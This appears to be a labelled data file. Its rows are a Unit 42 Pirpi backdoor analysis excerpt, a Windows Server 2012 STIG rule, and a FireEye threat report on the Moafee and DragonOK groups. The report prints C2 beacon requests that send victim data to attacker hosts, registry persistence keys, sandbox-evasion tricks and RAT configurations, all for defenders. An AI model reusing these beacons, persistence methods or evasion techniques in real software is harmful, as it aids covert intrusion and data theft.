instruction. This stops IDA from being able to draw function borders, view a function in graph mode, or decompile with Hex-Rays. To solve this, undefine all of the code that will not be executed, and define code starting from the target of the conditional branch (in this case 0x1000913E), as seen in Figure 7. Figure 8.\xc2 Fixing Anti-Disassembly Trick used by Pirpi Tool by Undefining Errant Instructions You will now be able to create a function to improve your ability to do analysis. To make this easier, use an IDA Pro script to fix these anti-disassembly tricks. Please note that this script specifically targets the anti-disassembly used in Pirpi and other UPS samples. It may cause issues with malware that uses other anti-disassembly tricks. Use with caution. Notable Differences The first major difference between the Pirpi.2014 and Pirpi.2015 variants is in the way the command loop is executed in each backdoor. In Pirpi.2014, the malware uses a simple state machine that executes code blocks that correspond to a state value, which the malware updates at the end of each code block. Many of these code blocks include sleep functions, however, if the state value is set to the correct value, the malware executes a code block that contains the command loop. The purpose of this state machine is to intentionally delay the malware\xe2\x80\x99s execution of the command loop. In Pirpi.2015, the malware implements a second state machine that executes the Pirpi.2014 state machine as one of its code blocks. The second state machine introduces a large number of randomized sleep functions, causing the malware to take much longer to execute its command loop. The majority of code blocks in the second state machine either sleep, or create threads and wait for them to finish. \xc2 The malware author likely implemented these state machines as an anti-debugging technique and to defeat most modern sandbox solutions. The second difference between the two Pirpi variants involves the encoding algorithm, which has improved greatly in the past year. Contained in the binary is an invertible math function for encoding and decoding of data. In Pirpi.2014 this function is rather simple, involving a few mathematical operations. However, in Pirpi.2015, the algorithm when decompiled is more than 300 source code lines of mathematical operations. Other Pirpi Samples FireEye released two reports in 2014 about APT3 phishing campaigns, Operation Doubletap and Operation Clandestine Fox. Each report containins md5s of other Pirpi samples that were available on VirusTotal. In addition, simple VirusTotal searches resulted in a few more Pirpi samples that came from the same code base. Table 3 contains the file information for each of these Pirpi samples. File Name File Type Architecture Size MD5 Compile Time SHA256 {FireEye Report Sample} PE.EXE X86 102400 8849538EF1C3471640230605C2623C67 09:25:14 09:09:59 854C6BA97B4BD01246AC6EF9258135D2337E6938676421131B6793ABF339FA94 msupd.dll PE.DLL X86 81920 FA3578C2ABE3F37DDDA76EE40C5A1608 09:10:14 04:54:09 CE7ACAE4CDB53C2FB526624855FC8E008608343B177DF348657295578312EB49 ieupd.dll PE.DLL X86 86016 1A4B710621EF2E69B1F7790AE9B7A288 05:27:14 08:48:13 12AE4A7072C95EAE0E433570B1D563C3D39FE3239816C04426C8E64A49BBE7D7 IePorxyv.dll PE.DLL X86 86016 F4884C0458176AAC848A911683D3DEF5 04:29:14 00:45:45 8C64D673CB84F76124FDBDC76941396647FF03725BDDD1D59D0CD32D8EBAD81F IePorxyv.dll PE.DLL X86 81920 4CA97FF9D72B422589266AA7B532D6E6 04:29:14 00:32:43 4F677060D25A5E448BE986759FED5A325CD83F64D9FEF13FB51B18D1D0EB0F52 Table 3.\xc2 Details of Pirpi Samples from FireEye Reports and Samples that Share the Same Code Base The sample listed as \xe2\x80\x9c{FireEye Report Sample}\xe2\x80\x9d in Table 3 is simply a dropper and loader for msupd.dll sample. Unit 42 compared all of the DLL samples listed in the table above and found that they are most closely related to Pirpi.2014. Table 4 below shows the statistics from Zynamics BinDiff from comparing each of the DLLs with Pirpi.2014 and Pirpi.2015. Sample MD5 Pirpi.2014 Bindiff Pirpi.2015 Bindiff Similarity Confidence Similarity Confidence FA3578C2ABE3F37DDDA76EE40C5A1608 89.5% 98.6% 29.8% 69.5% 1A4B710621EF2E69B1F7790AE9B7A288 92.7% 98.8% 29.4% 69.5% F4884C0458176AAC848A911683D3DEF5 91.4% 98.7% 29.6% 71.6% 4CA97FF9D72B422589266AA7B532D6E6 93.7% 98.7% 30.7% 71.6% B48E578F030A7B5BB93A3E9D6D1E2A83 100% 100% 34.3% 73.0% 1B0E6BA299A522A3B3B02015A3536F6F 34.3% 73.0% 100% 100% Table 4.\xc2 Resulting Similarity and Confidence Rates of Pirpi Samples Conclusion The UPS threat group continues to exploit zero-day vulnerabilities in their campaigns, which shows that this group is quite sophisticated and has access to significant resources. Within their attack campaigns involving zero-days, UPS has consistently reused delivery techniques and code within various components of the attack. UPS has relied on steganography to conceal the payloads delivered after exploitation of zero-days by embedding payloads, specifically the Pirpi backdoor within animated GIFs. This group also reuses portions of their ActionScript within their malicious Flash files used to exploit vulnerabilities, as well as sharing portions of shellcode that executes after exploitation. In regards to similarities amongst payloads, UPS delivers variants of the Pirpi backdoor that are typically very similar to each other. The Pirpi backdoors we analyzed use the same configuration file, a common C2 communications channel and a similar command handler. Also, the author of Pirpi includes several notable fingerprints within the code, specifically using a unique state machine and anti-disassembly techniques. Organizations can use all of these overlaps and similarities to track and hopefully protect themselves from this advanced adversary. AutoFocus users can identify Pirpi payloads with the\xc2 Pirpi\xc2 tag (Figure 9). WildFire automatically classifies Pirpi samples as malicious and we have released IPS signature 14643 to detect Pirpi C2 communications. Figure 9. Pirpi tag Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"The system must require username and password to elevate a running application. Search for: Submit Home STIGs DoD 8500 NIST 800-53 Common Controls Hub About Search for: Submit The system must require username and password to elevate a running application. Overview Finding ID Version Rule ID IA Controls Severity WN12-CC-000077 WN12-CC-000077 WN12-CC-000077_rule Medium Description Enumeration of administrator accounts when elevating can provide part of the logon information to an unauthorized user. This setting configures the system to always require users to type in a username and password to elevate a running application. STIG Date Microsoft Windows Server 2012 Member Server Security Technical Implementation Guide 2013-07-25 Details Check Text ( C-WN12-CC-000077_chk ) If the following registry value does not exist or is not configured as specified, this is a finding: Registry Hive: HKEY_LOCAL_MACHINE Registry Path: \\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI Value Name: EnumerateAdministrators Type: REG_DWORD Value: 0 Fix Text (F-WN12-CC-000077_fix) Configure the policy value for Computer Configuration -> Administrative Templates -> Windows Components -> Credential User Interface -> ""Enumerate administrator accounts on elevation"" to ""Disabled"". Scope, Define, and Maintain Regulatory Demands Online in Minutes. READ MORE Contact 10161 Park Run Drive, Suite 150 Las Vegas, Nevada 89145 PHONE 702.776.9898 FAX 866.924.3791 info@unifiedcompliance.com Quick Links Home Company Products Partners Peer Review Contact Support Legal Stay connected with UCF\xc2 \xc2 Twitter Facebook LinkedIn \xc2\xa9 2018 Network Frontiers LLC All right reserved. Stay connected with UCF Twitter Facebook LinkedIn","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"OPERATION QUANTUM ENTANGLEMENT SECURITY REIMAGINED WHITE PAPER OPERATION QUANTUM ENTANGLEMENT Authors: Thoufique Haq, Ned Moran, Sai Vashisht, and Mike Scott FireEye Labs 2 www.fireeye.com FireEye: Operation Quantum Entanglement CONTENTS Introduction and Prior Research ........................................................................................................................................................................................................................................................ 3 Attack Methodology ........................................................................................................................................................................................................................................................................................................... 4 Attack vector .......................................................................................................................................................................................................................................................................................................................... 4 Decoy Behavior ................................................................................................................................................................................................................................................................................................................ 4 Evasion Techniques ................................................................................................................................................................................................................................................................................................ 5 CPU Core Check ............................................................................................................................................................................................................................................................................................................ 5 Password Protected Documents ........................................................................................................................................................................................................................................7 Large files ......................................................................................................................................................................................................................................................................................................................................... 8 Backdoor and RAT Tools ............................................................................................................................................................................................................................................................................................ 9 NewCT ..................................................................................................................................................................................................................................................................................................................................................... 9 Nflog ........................................................................................................................................................................................................................................................................................................................................................ 15 Sysget/HelloBridge .......................................................................................................................................................................................................................................................................................... 17 Mongall .......................................................................................................................................................................................................................................................................................................................................... 17 PoisonIvy ..................................................................................................................................................................................................................................................................................................................................... 17 Threat Actor Attribution ................................................................................................................................................................................................................................................................................. 17 Campaign #1: Moafee .............................................................................................................................................................................................................................................................................. 17 Campaign #2: DragonOK ................................................................................................................................................................................................................................................................ 19 Acknowledgements ......................................................................................................................................................................................................................................................................................................... 20 Appendix A: Python Routine to Decode NewCT and CT Beacons ....................................................................................................21 Appendix B: Campaign codes embedded in NewCT/CT ................................................................................................................................................22 Appendix C: Moafee and DragonOK Clusters .........................................................................................................................................................................................23 3 www.fireeye.com FireEye: Operation Quantum Entanglement In the realm of quantum mechanics, entanglement is a peculiar phenomenon in which a pair of particles takes on the properties of each other, regardless of the distance between them. Albert Einstein best described this intertwining phenomenon as \xe2\x80\x9cspooky action at a distance\xe2\x80\x9d1. This behavior is analogous to the observed correlation between the two geographically separated attack groups detailed in this paper. We have uncovered two distinct attack campaigns originating from different geographic regions in China using similar tools, techniques and procedures (TTPs). In both campaigns, each attack group employed multiple overlapping TTPs to infiltrate their targets, including similar custom built backdoors and remote administration tools (RATs) such as CT/NewCT, Mongall and Nflog (and publicly available RATs such as PoisonIvy) to maintain access to victim networks. We also observed the use of another custom backdoor called Sysget/HelloBridge by one of the attack groups, which we believe is possibly shared between the campaigns as well. Both groups were also used a well-known proxy tool named HTRAN, which is an abbreviation for \xe2\x80\x9cHUC Packet Transmit Tool\xe2\x80\x9d2 . This tool proxies connections through intermediate hops and aids the attackers in disguising their true geographical location when interacting with the victim networks. We also observed both attack groups using similar techniques to evade detection by security products. In sum, we believe that these groups are from two distinct regions in China and possibly (1) are collaborating , (2) received the same training, (3) have a common toolkit supply chain, or some combination of these three. The relationship between the two attack groups may be direct or indirect, but based on our current visibility, they seem to have two distinct missions, with each one targeting different industries. We were able to ascertain the geographical locations of the two attack groups by analyzing their \xe2\x80\x9cHTRAN\xe2\x80\x9d infrastructure over a period of time. We believe a separate third group may also be employing these tools, but we do not have sufficient insight in to this additional group at this time. The attack group \xe2\x80\x9cMoafee\xe2\x80\x9d (named after their command and control infrastructure) appears to operate out of the Guangdong province in China and is known to target the governments and military organizations of countries with national interests in the South China Sea. The seas in this region have multiple claims of sovereignty and hold high significance, as it is the second busiest sea-lane in the world3 and are known to be rich in resources such as rare earth metals4 , crude oil, and natural gas5. We have also observed the Moafee group target organizations within the US defense industrial base. 1 http://www.technologyreview.com/view/427174/einsteins-spooky-action-at-a-distance-paradox- 2 http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ 3 http://en.wikipedia.org/wiki/South_China_Sea#Resources 4 http://www.ifri.org/downloads/ifricanonopedseamanecs.pdf 5 http://www.eia.gov/countries/regions-topics.cfm?fips=scs 4 www.fireeye.com FireEye: Operation Quantum Entanglement The attack group \xe2\x80\x9cDragonOK\xe2\x80\x9d (named after an event name in one of their payload executables 6) appears to operate out of the Jiangsu province in China, and is known to target high-tech and manufacturing companies in Japan and Taiwan. The propensity to target these industries possibly demonstrates an interest in gaining economic competitive advantage in the region through the acquisition of trade secrets . Attack Methodology: Attack vector: The primary observed attack vector used by both groups is spear-phishing emails. The themes--or topics\xe2\x80\x94used in the emails from the DragonOK group were well crafted and highly tailored to the target audience. We also found this attack group using the appropriate language for each of their targets in the phishing emails\xe2\x80\x93 such as Japanese and traditional Chinese (mainly used in Taiwan). The attachments in the email were typically an executable file embedded in a ZIP archive or password-protected Microsoft Office documents. One such email, shown in Figure 2 and used by the DragonOK group was written in traditional Chinese, and targeted a Taiwanese technology firm Decoy Behavior We observed both attack groups employ decoy documents in order to help deceive potential victims. The decoy documents are presented to the victim while the malware runs in the background. One such Japanese-language decoy documents used by the \xe2\x80\x9cDragonOK\xe2\x80\x9d group is 6 http://www.fireeye.com/blog/technical/malware-research/2013/02/hackers-targeting-taiwanese-technology-firm.html Figure 1: Two attack groups with common TTPs Taiwan JapanChina Guangdong Province Jiangsu Province U.S. DEFENSE REGIONAL CONFLICTS Advanced cyber attack groups in the world's largest manufacturing country are taking their expertise in supply chain economics to the online world. With a production line-like system that enables joint attacks, the sharing of tools and techniques, and unified training, new threat actors and malware are quickly produced to breach international and regional companies alike. THE ADVANCED THREAT SUPPLY CHAIN How Today\xe2\x80\x99s Attacks are Manufactured REGIONAL HIGH-TECH REGIONAL MANUFACTURING POSSIBLE SHARING OF TOOL ACROSS ATTACK GROUPS2 Attacker training courses Tools & techniques sharing centers POSSIBLE ATTACKER SUPPLY CHAIN OR TRAINING REGIMEN1 ATTACK GROUPS SEND MALWARE, SPEARPHISHING EMAILS, COMMAND AND CONTROL TO JAPAN AND TAIWAN, AS WELL AS THE REST OF THE WORLD 3 5 www.fireeye.com FireEye: Operation Quantum Entanglement shown below. It appears to be a resume of someone from Kyoto University in Japan who was involved in English language studies. Evasion Techniques: Both attack groups employ numerous, yet common techniques in an attempt to evade detection by various sandbox environments, antivirus (AV) software, and gateway firewalls. We observed environment-based evasion, the use of large file sizes, and password-protected documents \xe2\x80\x93 each of which are described in the sections below. CPU Core Check The first-stage payload for RATs called \xe2\x80\x9cCT/ NewCT\xe2\x80\x9d used by both the Moafee and DragonOK attack groups employs an evasive \xe2\x80\x9cCPU core check\xe2\x80\x9d technique. The payload attempts to detect the number of processor Figure 2: Email containing \xe2\x80\x9c888888\xe2\x80\x9d password in body with password- protected document attached 6 www.fireeye.com FireEye: Operation Quantum Entanglement cores in the running environment, by calling the ""GetSystemInfo"" API, which returns a structure with system data, including number of cores. If only one core is detected, it quits as seen in Figure 5. This probably is an attempt to detect virtualized environments such as sandboxes, as well as other analysis environments used by reverse engineers, which often tend to be configured with a single core. We also observed a similar evasion technique within the \xe2\x80\x9cSysget/HelloBridge\xe2\x80\x9d payload Figure 3: Example decoy document presented to the victim during a DragonOK phishing attack 7 www.fireeye.com FireEye: Operation Quantum Entanglement Figure 4: Structure returned by GetSystemInfo API employed by the DragonOK group. It invokes a similar call to \xe2\x80\x9cGetSystemInfo\xe2\x80\x9d to determine the number of active CPU cores, and the code quits if the system is configured with only one core. Password Protected Documents: The \xe2\x80\x9cDragonOK\xe2\x80\x9d group in particular is known to use password-protected documents delivered as attachments in emails, with the password listed in the contents of the email. This method probably is used to evade detection by AV software, gateway firewalls and malware sandboxes. One such example using the password \xe2\x80\x9c888888\xe2\x80\x9d is shown in Figure 2 and Figure 6, and has been observed by FireEye7 before. Another similar sample was referenced by the \xe2\x80\x9ccontagio\xe2\x80\x9d blog8 and used the password \xe2\x80\x9c8861\xe2\x80\x9d. 7 http://www.fireeye.com/blog/technical/malware-research/2013/02/hackers-targeting-taiwanese-technology-firm.html 8 http://contagiodump.blogspot.com/2012/08/cve-2012-0158-generated-8861-password.html Figure 5: Evasion based on CPU core detection 8 www.fireeye.com FireEye: Operation Quantum Entanglement Figure 6: Password-protected document Large files: In older phishing emails that link to the tools used by DragonOK and Moafee, we observed an implant over 10 megabytes in size. It was padded with unnecessary null bytes in the overlay section of the file, in order to increase the file size as shown in Figure 7. This probably was done to evade detection, as many host- based and network-based AV engines do not have the ability to scan large files. 9 www.fireeye.com FireEye: Operation Quantum Entanglement Figure 7: Large null padded overlay section Backdoor and RAT Tools: CT/NewCT Dropper: This is a first stage payload that drops and runs the NewCT implant. The first stage payload (example: 46e55cdf507ef10b11d74dad6af8b94e) attempts to detect the number of CPU cores in the running environment by calling GetSystemInfo as described in the previous section. If the CPU core check detects more than one core, it implants the NewCT2 RAT in %temp%\\MSSoap.DLL (some variants will use BurnDCSrv.DLL and IntelAMTPP.DLL) and executes the written file. The actual implant is packaged in the resource section of the dropper with a fake bitmap (BMP) header, as shown in Figure 8. 10 www.fireeye.com FireEye: Operation Quantum Entanglement The implant also creates a registry entry file called named \xe2\x80\x9cWindows.reg\xe2\x80\x9d and imports it the contents of this file into the registry, using the command: \xe2\x80\x9cregedit.exe /s Windows.reg\xe2\x80\x9d. These registry entries ensure startup persistence. The contents of ""Windows.reg"" is populated based on the Operating System (OS) which is determined by a call to the GetVersionEx API. If \xe2\x80\x9cdwBuildNumber\xe2\x80\x9d is equal to 2 (VER_ PLATFORM_WIN32_NT) and \xe2\x80\x9cdwMajorVersion\xe2\x80\x9d is less than 6 (prior to Windows Vista) it adds following entry for persistence: [HKEY_CLASSES_ROOT\\CLSID\\{fbeb8a05- beee-4442-804e-409d6c4515e9}\\ InProcServer32] @=""%Temp%\\MSSoap.DLL"" Otherwise it creates a copy of itself to %Temp%\\ WmiPrvSer.exe and creates the following entry for persistence: HKCU \\Software\\Microsoft\\Windows\\ CurrentVersion\\Run\\""dllhost"" = %Temp%\\WmiPrvSer.exe Figure 8: DLL implant embedded in resource section with a fake BMP header Figure 9: DLL implant embedded in resource section with a fake BMP header BOOL WINAPI GetVersionEx( _Inout_ LPOSVERSIONINFO lpVersionInfo ); typedef struct _OSVERSIONINFO { DWORD dwOSVersionInfoSize; DWORD dwMajorVersion; DWORD dwMinorVersion; DWORD dwBuildNumber; DWORD dwPlatformId; TCHAR szCSDVersion[128]; } OSVERSIONINFO; 11 www.fireeye.com FireEye: Operation Quantum Entanglement We also found some clues in the binary that indicate that the tool was authored and built by someone using Chinese fonts on their computer. It contains resource strings in English but the language is set to Chinese as shown below. Implant The implant (example: ccff6e0a6f5e7715bdaf62adf0cbed4f) is called \xe2\x80\x9cNewCT/CT\xe2\x80\x9d RAT. The particular version we analyzed was NewCT version 2. The implant has persistence mechanisms and contains functionality to perform command and control communication. This backdoor also has functionality to load additional plugins from the command and control server. It exports the following two functions: SendData CreateInstance It creates a mutex \xe2\x80\x9cHFRM_\xe2\x80\x9d to ensure there is only one running copy of the backdoor. It ensures this by checking if the return value from CreateMutexA is 183 (\\xB7), which corresponds to \xe2\x80\x9cERROR_ALREADY_EXISTS\xe2\x80\x9d9. The payload emits the \xe2\x80\x9cPOST\xe2\x80\x9d network beacon shown below along with stub data. The header values are hardcoded in the payload, specifically the values for \xe2\x80\x9cUser-Agent\xe2\x80\x9d, \xe2\x80\x9cCache-Control\xe2\x80\x9d and the bytes at offset 0 of the stub (\\xcf\\xcf) may be of interest to network defenders. Figure 10: Embedded string table in resource section with language set to Chinese Figure 11: Mutex usage and checks to ensure one running copy STRINGTABLE LANGUAGE LANG_CHINESE, 0x2 { 103, \xe2\x80\x9cNewCT2\xe2\x80\x9d 106, \xe2\x80\x9cHello World!\xe2\x80\x9d 109, \xe2\x80\x9cNEWCT2\xe2\x80\x9d } 9 http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382%28v=vs.85%29.aspx 12 www.fireeye.com FireEye: Operation Quantum Entanglement POST / HTTP/1.1 Accept-Language: en-en Content-Type: application/octet- stream Pragma: no-cache Cache-Control: max-age=259200 Connection: Close Content-Length: 1594 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1) Host: http.jpaols[.]com\\x0d\\x0a\\ x0d\\x0a\\xcf\\xcf... The POST stub contains encrypted data. The encrypted data has two layers of abstraction. It is subjected to a bitwise NOT operation followed by encryption using a randomly generated 4-byte XOR key. The data within the POST stub is constructed in a buffer with a header at offset 0 (\\ x30\\x30) followed by the remote sever, remote port, XOR encrypted data and function call location. The function call location is represented by the textual values shown in the table below and is selected using a switch case statement as shown in Figure 12. It is used by the attacker to track the call path that resulted in the network beacon. The XOR encrypted data contains the MAC Address, hostname and campaign code. Numeric Representation Textual Representation 0 index.asp 1 index.php 2 index.jsp 3 index.css 4 home.asp Figure 12: Call path determined and embedded in network beacon 13 www.fireeye.com FireEye: Operation Quantum Entanglement Figure 13: Encrypted POST stub Figure 14: POST stub after bitwise NOT operation Figure 15: Embedded XOR encrypted data in POST stub To elucidate the encryption scheme, let us go over a sample decryption process. The Figures 13 and 14 below shows data before and after a bitwise NOT operation. In the resulting data after NOT operation, the XOR key is \\x30\\x30\\x34\\x31. When applied to the hex data following it, we get the decrypted data below, which contains the MAC Address, hostname, and campaign code. The Python routine to perform this decryption is included in Appendix A We observed plugin functionality in the implant. It has the ability to load a DLL downloaded from the remote server, and calls the following export functions in the DLL: Plugin_GetID Plugin_Init Plugins_Start Plugin_End 14 www.fireeye.com FireEye: Operation Quantum Entanglement Figure 16: DLL Plugin functionality allowing additional payloads to be loaded from the server The call graph for this functionality is shown in Figure 16. NewCT RAT evolved from older versions called \xe2\x80\x9cCT\xe2\x80\x9d, which has been observed being used in association with the \xe2\x80\x9cNflog\xe2\x80\x9d Backdoor. The following password-protected document (46ac122183c32858581e95ef40bd31b3) creates a DLL implant called IntelAMTPP.dll (ebd1f5e471774bb283de44e121efa3e5), which is the \xe2\x80\x9cCT\xe2\x80\x9d RAT. In this case, the \xe2\x80\x9cCT\xe2\x80\x9d implant is 10 MB in size, as it has padded null bytes at the end of the file to increase file size in a possible attempt to evade AV engines as described in the previous section on evasion techniques. The \xe2\x80\x9cCT\xe2\x80\x9d implant has identical functionality to \xe2\x80\x9cNewCT\xe2\x80\x9d, as observed from the embedded strings. 00005A58 Connection:close 00005A6C Cache-Control: max- age=259200 00005A8C Pragma: no-cache 00005AA0 Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1) 00005AD4 Content-Type: application/ octet-stream 00005AFC image/gif, image/x-xbitmap, image/jpeg, image/ pjpeg, / 00005B38 Accept-Language: en-en 00005B50 %s%02x 00005B5C home.asp 00005B68 index.css 00005B74 index.jsp 00005B80 index.php 00005B8C index.asp 00005EFC ct.datangcun.com 00005F3C ct.datangcun.com 00005F7C 20120509 00005F8C CT V2.1 00006374 Plugin_End 00006380 Plugin_Start 00006390 Plugin_Init 0000639C Plugin_GetID This version was called \xe2\x80\x9cCT V2.1\xe2\x80\x9d by the author, which may indicate that there were other earlier versions of this RAT and that it was improved upon incrementally. One of the command and control servers used by a variant of this implant is aptly named \xe2\x80\x9cct.datangcun[.]com\xe2\x80\x9d. We do not believe either Moafee or DragonOK have controlled the domain \xe2\x80\x9cct.datangcun[.] com\xe2\x80\x9d, but it was probably controlled by a third group which also used the implant in a separate campaign. The network beacon for version 2.1 is shown below; it uses the same encryption scheme as \xe2\x80\x9cNewCT\xe2\x80\x9d: 15 www.fireeye.com FireEye: Operation Quantum Entanglement POST / HTTP/1.1 Accept-Language: en-en Content-Type: application/oc- tet-stream Pragma: no-cache Cache-Control: max-age=259200 Content-Length: 1572 User-Agent: Mozilla/4.0 (compati- ble; MSIE 6.0;Windows NT 5.1) Host: ct.datangcun[.]com:1353\\x0d\\ x0a\\x0d\\x0a\\xcf\\xcf We also observed both attack groups using campaign codes within this implant and which are listed in Appendix B. The campaign codes re- ferred to victim countries, attack dates, command and control infrastructure, and other operational codes \xe2\x80\x93 which remain undeciphered. Nflog We have observed DragonOK and Moafee use the Nflog implant in addition to an earlier version of the NewCT2 implant. The pass- word-protected XLS document (46ac- 122183c32858581e95ef40bd31b3) ref- erenced earlier also drops an \xe2\x80\x9cNflog\xe2\x80\x9d implant (a3d3b0686e7bd13293ad0e63ebec67af) in addition to \xe2\x80\xa6.. The \xe2\x80\x9cNflog\xe2\x80\x9d implant emits the following network beacon format: POST /NfLog/Nfile.asp HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 (compati- ble; MSIE 7.0;Windows NT 5.1) Host: Content-Length: 0 Cache-Control: no-cache POST /NfLog/NfStart.asp?Clien- tId={LocalIP}%20<49d0>%20{Ex- ternalIP}&Nick={Identifier}&d- time=T:8-6-0-53 HTTP/1.1 Accept: */* Use-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: Content-Length: 36 Cache-Control: no-cache Cookie: ASPSESSIONIDACCARCDD=OKNPG- CKDLEKEHBOHIHLCOMHD We have observed the use of a newer variant of Nflog (example: 3eab5e12f99b47e822721e- 93639ba1d1) being employed in attacks, which has the beacon format shown below: POST /windowsxp/SNews.asp?HostID={- MAC Address} HTTP/1.1 Accept: / Cache-Control: no-cache User-Agent: Mozilla/4.0 (compati- ble; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: Content-Length: 126 Connection: Close Cookie: ASPSESSIONIDAARSSTTB=ECD- DKIAAOHGODEKKFGOKNJCD Other URI formats it uses are as follows: /windowsxp/SSports.asp?HostID= /windowsxp/SWeather.asp?HostID= /windowsxp/SJobs.asp?HostID= /windowsxp/STravel.asp?HostID= /windowsxp/NfHostInfo.asp?NickId= /windowsxp/SGames.asp?HostID= Note the same User-Agent \xe2\x80\x9cMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\xe2\x80\x9d is used by both 16 www.fireeye.com FireEye: Operation Quantum Entanglement the older and newer version of \xe2\x80\x9cNflog\xe2\x80\x9d samples. We also found code-level similarities in the network communication function code, as well as the data collection function code shown in Figure 17. This strongly suggests that it is an updated version of the \xe2\x80\x9cNflog\xe2\x80\x9d backdoor. Figure 17: Identical data collection function seen in both older and newer Nflog variants 17 www.fireeye.com FireEye: Operation Quantum Entanglement Sysget/HelloBridge This tool has recently been analyzed by Secure- works 10. We observed the DragonOK attacker employ this tool against targets in Japan and Taiwan (e.g. 57e3d002542e07f2eb09fd2b1b0ee- ab2), as also noted by Secureworks. We have not yet seen the Moafee group use this tool. This implant has the following beacon format: GET /el/sregister.php?name=[REDACTED] HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: 122.10.62.137 Connection: Keep-Alive Other URI formats include: /el/slogin.php?uid= /el/suploadfile.php?item= /el/suploadfile.php Mongall FireEye has previously analyzed this backdoor11, which is used by multiple other groups in addition to DragonOK and Moafee. DragonOK in partic- ular is known to frequently use this implant (e.g. e8d77d19e1c6f462f4a5bf6fbe673a3c), which has the following network beacon format: GET /3000FC080000[REDACTED 00000000 0000000000000000000000000000000000 0000000000000000000000000000000000 0000000000000000000000000000000000 00100000[REDACTED]0000000000000000 000000000000000000000000000000000 0 0000000000000000[REDACTED]000000 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: mail.jpaols[.]com:443 Cache-Control: no-cache PoisonIvy This is a publicly available RAT used by multiple threat actors, which has been extensively analyzed in a previous FireEye white paper12. The ex- tracted configuration blocks from a ""DragonOK"" PoisonIvy variant (65fcc9b9ff608801edc- 697552438cfee), is shown below: ID: ftp Domains: ftp.skydnastwm.com:15836| Password: Ecp982*@Me2 Mutex: fftp In contrast, here is an extracted PoisonIvy configuration block from a ""Moafee"" instance (9ebe86a648b1f19836251f946a160b16), as shown below: ID: Domains: afp.mozjlla.com| Password: 741526 Mutex: )!afpA.I4 Threat Actor Attribution Campaign #1: Moafee We have observed the Moafee group target the governments and militaries of countries with national interests in the South China Sea. We have also observed this group target companies within the US defense industrial base. As discussed, we have observed the Moafee group use a number of different tools including Poison Ivy, Nflog, Mongall, and NewCT2. We found this group running HTRAN on one of their front-end command and control servers. The command and control server in question was 10 http://www.secureworks.com/resources/blog/research/hellobridge-trojan-uses-heartbleed-news-to-lure-victims/ 11 http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of- malaysian-flight-mh-370.html 12 http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 13 http://en.wikipedia.org/wiki/South_China_Sea#Resources 14 http://www.ifri.org/downloads/ifricanonopedseamanecs.pdf 15 http://www.eia.gov/countries/regions-topics.cfm?fips=scs 18 www.fireeye.com FireEye: Operation Quantum Entanglement located at 58.64.201.229. We monitored this server for two months, from January to March this year. During this time period, we observed the following domains resolving to 58.64.201.229: ph.moafee[.]com afp.mozjlla[.]com mofa.mozjlla[.]com acer.moafee[.]com del.moafee[.]com jnt.moafee[.]com pcg.moafee[.]com sslc.moafee[.]com at.moafee[.]com lw.moafee[.]com ks.moafee[.]com oa.moafee[.]com xxpp.moafee[.]com hp.moafee[.]com gumm.mozjlla[.]com msn.moafee[.]com During this same time frame, the HTRAN client at 58.64.201.229 was observed attempting to connect to a number of different backend HTRAN servers. All of these HTRAN servers were located in the Guangdong Province and operated by CHINANET. Additionally, the Moafee group also hosted a PoisonIvy command and control server at phi. crabdance[.]com. Between April 30, 2012 DATE CNC 